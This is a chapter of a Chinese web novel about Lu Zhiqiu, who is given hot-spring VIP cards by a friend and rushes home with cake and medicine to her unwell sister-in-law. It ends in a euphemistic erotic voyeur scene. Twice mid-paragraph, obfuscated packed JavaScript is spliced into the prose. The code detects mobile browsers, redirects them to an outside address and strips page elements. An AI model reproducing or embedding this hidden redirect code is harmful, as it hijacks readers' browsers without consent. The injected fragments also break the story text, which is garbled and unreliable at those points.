陆知秋:“在问别的事情,这节课就业笔记你自己做。” 这招很有效,李笑笑立刻举手投降:“行行行,不说了不说了,笔记还得靠你呢,陆大手。” 李笑笑没继续追着问,但是从书包里掏出一个小信封,推到陆知秋面前。 “这什么?” “好东西。” “我有个姨姨,在郊区开了个私人会所,主打温泉疗养,最近内测阶段,不对外,只给内部人发体验卡。” 陆知秋打开信封,里面是两张黑色的卡片,质感很好,上面烫金印着“云涧温泉会所VIP体验卡”,两张 “温泉?”陆知秋抬头。 “对啊。”李笑笑眨眨眼,“你不是有情况吗?带人家去玩玩,温泉,私密性好,环境也棒,这是真正的天然温泉,不是热水池子。” 陆知秋有些无奈:“我都说我没有情况…” “不是专门给你的,是我本来想自己去的,但这周末我妈非要我回去看我老家小猪猪,去不了,这两张卡,你帮我转交给有缘人。” “有缘人?转交给谁?” “我真得控制你了,”李笑笑接着说,“你自己用啊,带你想带的人去啊!” 陆知秋愣住了:“我…” “听我说完。”李笑笑又拿出另一张卡片,这次是银色的,“这是套房卡,会所楼上有住宿,VIP套房,两人间,一人间都有。” “大床房,两张单人床,都有。” “答应我,是成年女孩就选第一套。” 她把银卡也推过去,一脸严肃:“也帮我转交给有缘人。” 陆知秋看着桌上的四张卡,有些不知所措:“你……什么意思?” “我什么意思?”李笑笑支棱起身子,笑得意味深长,“温泉,私密空间,独处机会,还需要我说得更明白吗?” “我真的和你说……” 李笑笑打断了陆知秋说话,一副“我都懂,你不用谢我的表情。” “咱们认识两年了,你什么人我清楚。” “你不是那种随便的人,能让你这么纠结的,肯定是动了真感情,但感情这种事,光想没用,得行动。” 她指了指那些卡:“机会我给你创造了。去不去,带谁去,你自己决定。” 陆知秋沉默了很久。 朋友真的误会自己了。 闺蜜一直以为我有暗恋的人怎么办,还要给我助攻,可是我真的对那位女性没有暗恋的想法。 我好无助,好想哭。 最后,陆知秋伸手,拿起了那两张黑卡和两张银卡。 “不用谢。” 朋友摆摆手,然后接着说, “不用担心事儿成不成。” “我知道你又要说‘我真的没有暗恋的人,你误会了’,但是‘嘘’,不要说。” “不成,那就当去泡个温泉放松一下,不亏。” 陆知秋把卡收进口袋,感觉那几张卡片沉甸甸的,还是说了句“我真的没有暗恋的人,你误会了。” “对了,”李笑笑又补充,“那个会所在郊区,开车过去一个半小时,环境绝对私密,不用担心被人看见,而且……”她眨眨眼,“温泉是露天的,晚上泡,看星星,特别有氛围。” 陆知秋知道她在暗示什么。 但是她接着说什么,朋友都不会听进去了,她已经沉浸在自己的磕CP艺术之中了,磕她,还有朋友不知道的那位女孩子,也就是自己的嫂嫂。 陆知秋:“我考虑一下。” “还考虑?”李笑笑恨铁不成钢,“好吧,你考虑,但我和你说哦,这卡有效期就两周,过时不候。” “知道了。” 两人又坐了会儿,朋友刷无声抖音,陆知秋一个人写两份课堂笔记,计入平时分。 写着写着,笔迹就开始逐渐淡了下来。 因为写字的主人这会并不专心在笔记,她的心已经开始凌乱,复杂了起来。 温泉,要不要去呢? 私密空间。 独处,星空。 还有……她。 脑子里开始不受控制地浮现出以下画面:温热的泉水,氤氲的雾气,温予乔穿着浴衣的样子,丰满的身材,湿漉漉的头发贴在脸颊边,水珠顺着锁骨滑下到柔软的嫩兔之中…… 陆知秋摇摇头,把那些画面甩出去。 不行。 不能这么想。 “想什么呢?”李笑笑抬头看她,“脸都红了。” “热的。”陆知秋端起冰美式喝了一大口。 李笑笑笑了,没戳破。 晚上六点,下了课,人群乌泱泱的,有的去食堂,有的回宿舍,陆知秋和朋友开始各回各家。 李笑笑拍了拍陆知秋的肩:“卡收好,想用的时候给我发消息,我帮你预约。” “嗯。” “记住了,机会不等人。” “好。” —— 回家路上,陆知秋想起今早嫂子没有怎么吃早饭,心有点酸。 她想着,很多女孩子喜欢吃甜的,包括自己,或许买一块蛋糕,嫂子会比较有胃口一点? 嫂嫂应该也喜欢吃甜品的,她经常看到她咖啡配着小蛋糕,虽然也有可能咖啡偏苦的原因。 有时候陆知秋买回去的小点心也都很喜欢吃,虽然她总说要控制体重。 这样想着,她正好路过一家蛋糕店,陆知秋让司机停下来,进店去看看。 看到一款很少女心的蛋糕,浅粉色奶油,上面铺满了草莓和蓝莓,中间是草莓酱和白巧。 “你好,欢迎光临!”店员是个年轻女孩,笑容很甜,“想要点什么?” “那个蛋糕,还有吗?”陆知秋指着橱窗。 “有的,需要现做,大概二十分钟。” “好。” 付了钱,陆知秋坐在店里的等待区,拿出手机刷了刷,除了朋友没有人发消息了 回了朋友的消息之后,她点开和温予乔的聊天界面,最后一条消息还是前几天回家晚了的那条“早点回家”。 她想了想,打字:“路过一家甜品店,给嫂嫂买了个蛋糕” 想着发送,但觉得有一些生硬,又把消息改了一下。 她指尖在屏幕上点了点,点开表情栏,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177103|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>最后选了个靠着墙的站立罚站的小猫,可怜兮兮,呆萌的看着屏幕对面的人,端着一块大蛋糕emoji的表情包发了出去。 她还p了好几个版本的罚站小猫端着蛋糕表情包,有好几个版本,无一例外的不是觉得“这个蛋糕的素材图看起来不好吃”,“这个蛋糕看起来太小了,不够大”而落选掉,最后挑了一张“??看起来又好吃”“蛋糕在小猫的爪爪里又显大”的完美罚站小猫版本发了过去。 想了想,怕再生硬,又用了可爱的颜文字,增加自己的语言可爱度,配文: “嫂子,我回来了(′?ω?`)?” 发送。 她盯着屏幕等回复,一分钟,两分钟……五分钟过去了,没动静。 陆知秋有点不安,又发了一条: “给嫂嫂买了蛋糕,草莓的(??????)??” 想了想,觉得好像太刻意,好像自己偏爱嫂嫂,为嫂嫂特别买的,她又补了一句: “路过看到的(?′?`?)。” 发送。 发完她就立刻锁屏,把手机扣在桌子上,假装看窗外的街景,装作不在意手机的消息,装作自己并不在意自己发了很多颜文字。 “我一点都不在意。” “嫂子怎么回我都可以,我一点都不在意。” “我一点都不在意。” 实则陆知秋在意消息在意的很,眼睛一直偷偷瞄着手机,耳朵一直专注的听着手机什么时候有消息提示音的动静。 陆知秋觉得耳朵有点热, 不对,不是有点热。 是热的可以煎蛋的那种热,以至于都有些发烫。 陆知秋等了好几分钟,还是没有等到回复。 陆知秋是脸皮薄的人,之前发的消息都是很简单的语气,没有加过颜文字,也没有刻意自己p了好几版本发表情包,然后自己挑了看起来最好看的,单独发给别人。 她脸皮薄,一边耳朵红,脸也有些红,一边内心很不安,心想是不是惹嫂嫂不快了?她是不是觉得自己在撒娇? 她有一些不安,有些害怕。 她拿起手机,又点开聊天界面。 上面最后一条还是她发的“路过看到的”。 和温予乔的聊天界面,温予乔的头像是一只白色的小猫,猫咪蜷成一团睡觉觉,在柔软的毛毯上,毛色纯白,干净得像刚下过的雪,一丝杂毛都没有,耳朵小小的,粉粉的,微微耷拉着,看起来特别温顺。 爪子收在胸前,粉嫩的肉垫特别萌,尾巴绕过来轻轻搭在身侧,尾巴尖翘着一点点。 等了两分钟,没回复。 陆知秋思虑再三,又发了一条,用了更加可爱的颜文字。 “店员说这个季节的草莓特别甜,很好吃哦?^??????” “草莓很多,奶油不多不少,看起来不会腻(*^3^)” 陆知秋脸又红了,她平时不是这样的,平常的陆知秋是性子偏冷一点的,而不会像现在这样,撒娇一样…… 陆知秋抓起手机,有点想把消息撤回,但已经超过两分钟了。 撤不回来了,算了。 正好撤不回来了。 她放下手机,盯着那个蛋糕盒子发呆,粉色的丝带系得很漂亮,上面还有个小卡片,店员笑着和她手写的,写着“夏日限定”。 又过了五分钟,手机还是没动静。 陆知秋的心慢慢沉下去。 果然……不该发那些颜文字的,会不会太幼稚了,让她觉得她无聊呢。 她拿起手机,想再发条消息把气氛拉回正轨,手指停在键盘上,不知道该打什么。 最后她删掉了打好的字,只发了一句:“在忙?(*′I`*)” 过一会,温予乔终于把消息回了,但是很奇怪,断断续续的。 “好,我” “等你,” “回家就” “吃。” 温予乔从来不会这样子,她回消息一向很快,而且陆知秋很清楚她的语言习惯,她习惯发一句话,完整的表达的意思的,而不是像现在这样,回的断断续续的,和平常的说话风格完全不一样。 难道身体不舒服? 17. 第 17 章 温予乔接着发了消息,还是断断续续,不连贯的,问着: “小秋,” “你,” “大概,” “什么,” “时候回来?” 陆知秋看着表看了眼时间,算了一下,还有不到半小时吧, 她保守起见,回了句:“很快了。” 消息发出去,大概五分钟,手机又震了。 陆知秋不知道温予乔在做什么事情,看起来很分心,没有专注和自己的聊天。 这次是条语音。 陆知秋看看司机,司机是女生,但保守起见,陆知秋戴上耳机点开。 温予乔的声音传出来,软软的,黏糊糊的,像年糕:“小秋……” 陆知秋关切地回复:“怎么了?” 温予乔接着发了很多条语音,还是像刚出锅的年糕一样温软: “我其实……” “没有别的意思……” 接着,她又发了几条, “你不用着急回来……” “我没什么事……” “就是……我好像有点不舒服。” 陆知秋回了句: “嫂嫂又在这样。” “总是这样,有什么事情都不说,总是自己强撑。” “我立刻就回来,嫂嫂等我一下,一下就好。” 她回复完消息,看到路边有一家连锁药店, 对着司机姐姐开口:“李姐,前面药店停一下。” 司机李姐从后视镜里看了她一眼,没多问,打了转向灯,缓缓靠边停车,这是家连锁药店,绿色招牌在傍晚的天色里很显眼。 “等我五分钟。”陆知秋推门下车,脚步很快。 推开药店玻璃门,空调冷气扑面而来,还有药的化学气味,店里没什么人,只有一个店员在整理货架,陆知秋径直走向感冒发烧区,视线快速扫过一排排药盒。 布洛芬,对乙酰氨基酚,连花清瘟........... “小姐,需要帮忙吗?”店员来帮忙了,问陆知秋需要哪种药物。 陆知秋回过神,指着货架:“退烧药,见效快的。” “有布洛芬和快克,您要哪种?” “都要。”她又说,“体温计也拿一个。” 店员小姐麻利地拿了药,又取了个电子体温计装袋,陆知秋拿出手机付钱,手机震了一下,微信弹出来一条消息,她看了一下,是温予乔发来的消息,还是语音。 陆知秋按紧了自己的蓝牙耳机,确认蓝牙耳机还在连接着,陆知秋看了店员小姐收拾药物的样子,忽然有些吃醋。 陆知秋疑心上来了,醋醋地把手机音量调到最小,确认只有她可以知道音量,并且不会漏音。 嫂嫂的音量不会被任何人听到,只有自己,也只能自己独享。 特别是现在虚弱,软糯,像年糕一样的温予乔。 不愿别的女人见识嫂嫂的妩媚。 点开,温予乔的声音传出来,还是软绵绵的,:“小秋……你到哪儿了……我好热……” 再听,感觉温予乔的声音听起来更加热了,陆知秋觉得声音不对劲,颦眉,快速打字回复:“马上到,买了药。” 发送。 拎着药袋走出药店,冷风一吹,她才发现自己手心全是汗,她拉开车门坐进去,李姐从后视镜看她:“现在直接回家?” “嗯。”陆知秋系好安全带,“麻烦开快点,李姐。” 车速开始在交通规章允许范围内加快。 陆知秋拿着药袋子,思绪开始飘远。 她刚被温予乔照顾的第二年冬天,小时候的陆知秋身体很弱,长得又瘦又小,像豆芽菜,看起来被风一吹就倒,很虚弱,也经常生一些小病。 那年的冬天特别冷,她发了高烧,快四十度,温予乔整夜没睡,和私人女医生,守在她床边,隔一会儿就给她换一次毛巾,喂她吃药。 温予乔怕她一会儿不看,小孩烧更高,把脑子烧的有一点坏,会对大脑发育不好,留下高烧后遗症。 陆知秋烧得迷迷糊糊的,半梦半醒间,能感觉到温予乔冰凉的手放在她额头上,能听见温予乔轻声哄她:“小秋乖,把药喝了就不难受了。” 可她当时还小,不太懂事,角色嫌药苦,小脸一别,不肯喝。 温予乔也不生气,转身去厨房,回来时手里多了个小碗,里面是熬化了的冰糖。 “你看,嫂子给你准备了糖。”她用勺子舀了一点点糖水,先喂给她,“甜的,对不对?我们再喝一口药,就再吃一口糖。” 陆知秋就这样被她哄着,张着小嘴,一口药一口糖,把整碗苦药都喝完了。 后来陆知秋退烧了,嫂嫂却累倒了,感冒了好几天,陆知秋愧疚得不行,问“嫂嫂你难受不”,嫂嫂反而笑着揉她头发:“没事,只要你好了就行。” 温予乔其实就是感冒了,说话带着浓重的鼻音,小陆知秋知道她有事情,小孩啪嗒啪嗒跑桌边,小陆知秋想给她倒水,温予乔不让,说怕传染给她,陆知秋好不容易好了。 温予乔在床上笑着说:“可不要靠近嫂嫂了,要是再传染上你,现在的嫂嫂可没有那个精力照顾小秋退烧,不会给熬糖水了。” “到时候的小秋,没有糖吃,可要吃苦苦的药了,不要再哭唧唧的哦。” “不想没有糖吃,不想吃苦苦的药,就离嫂嫂远一点吧。” 陆知秋听话的点点头,却转眼就搬个小板凳,搬到温予乔的卧室门口,坐在温予乔卧室门口,隔着一道门陪温予乔说话。 “嫂子,你要听我讲故事吗?”她问。 “不要听啦。”她在里面答,声音哑哑的, “那嫂嫂不难受的吗?” 温予乔在屋子里哑哑地答,声音依旧温柔:“你好了我就不难受。” 那时候她九岁,还不太懂这句话里的分量。现在她快十九岁了,懂了。 所以现在她说不舒服,说热,她必须马上回去。就像当年她守着她一样,她也要守着她。 从那以后,陆知秋再也没因为药苦而不吃药,因为她知道,她生病,难受的不只是她自己, 难受的,还有那位连血管看起来都很细,像玻璃娃娃一样易碎,脆弱的女人。 她的嫂嫂,温予乔。 车子在车流中行驶,晚高峰的车很多,陆知秋陆知秋盯着窗外飞速倒退的街景,看着有些焦急,想快一点。 车子拐进别墅区,在一栋白色三层小楼前停下,陆知秋拎着药袋下车,回头对李姐说:“谢谢李姐,今天辛苦了。” “应该的。”李姐点点头,又多看了她一眼,“小姐,您脸色不太好,也注意休息。” “知道了。” 看着车子驶远,陆知秋转身快步走向大门。 这会儿,一个微信电话拨通了过来,温予乔的 她想了想,实在有些着急温予乔怎样了,快速接通了她的微信电话。 嘟——嘟——嘟—— 响了五六声,才有了声音 “喂……”温予乔的声音从听筒里传来,黏糊糊的,好像带着热气一样,呼吸“小、小秋?” 陆知秋心头一紧:“嫂子,我回来了,你没事吧?声音怎么又热了……” “没、没事……”她打断她,但声音明显不像她说的一样,听着不对劲,像在压抑感情的愫,“就是……有点累……” 背景里传来细微的窸窣声,还有一种黏腻的声响,像是在拨弄池塘,池塘被搅动的声音。 还有细微的摩擦的声音。 “嫂子在做什么?”陆知秋问。 “没、没做什么……”温予乔的声音断断续续的,中间夹杂着短促的吸气声,“在……在我的房间上休息……” “舒服一些了吗?” “我听着嫂嫂好像还是不舒服。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她换了鞋,拎着药袋往楼上走,楼梯踩上去发出轻微的声响,但房子并不安静,好像有一些细微的声响。 二楼走廊也没开灯,主卧的门关着。 陆知秋走过去,抬手想敲门, 然后她发现,门没关严,留了一条两指宽的小缝。 暖黄色的光从里面漏出来,在地毯上切出一道狭长暧昧的光带。 她愣了愣。 嫂子平时很注意隐私,主卧的门总是关得严严实实,就连陆知秋小时候跑温予乔房间要抱抱,温予乔也只会把门开一条小缝,侧身出来,再迅速带上。 可现在…… 门为什么没关? 陆知秋像蹩脚的偷窥者一样,悄悄靠近门缝,桃花眼非常漂亮。 在做什么? 为什么不关门? 然后她看到了, 白皙修长的手指,修长的双腿, 夜的凝露被手指带出, 园丁在花朵里出入, 园子里种了很多植株,现在的这朵就像是落花,脆弱,娇嫩,摇摇欲坠。 夜深而露重,夜露在夜晚凝结,肆意拍打在园丁的花上。 园子里一株夜露里自溺的白色晚香玉,被夜晚还在修剪植株的园丁揉碎了,晚香玉的花蕊被坏心眼的园丁碾碎,溢出甜腥的汁液,迸在花瓣上。 房间里的温予乔,像落花一样漂亮的女人,转过头,眸子直直的望向门缝,望向陆知秋。 目光迷离,氤氲着晨雾,像月下涨满的汐,几乎要漫出来。 是看见她了? 还是在透过她,看向别的女人? 抑或,没有看到她,只是下意识的眼神失焦而游离开来? 嫣红的,被温予乔自己咬得微微肿胀的唇瓣,轻轻张开,气息温热,含着甜腻的暖香,含着一句沙哑的的邀请,羽毛般搔刮过陆知秋的耳膜与快要跳出的心脏: “……进来呀。”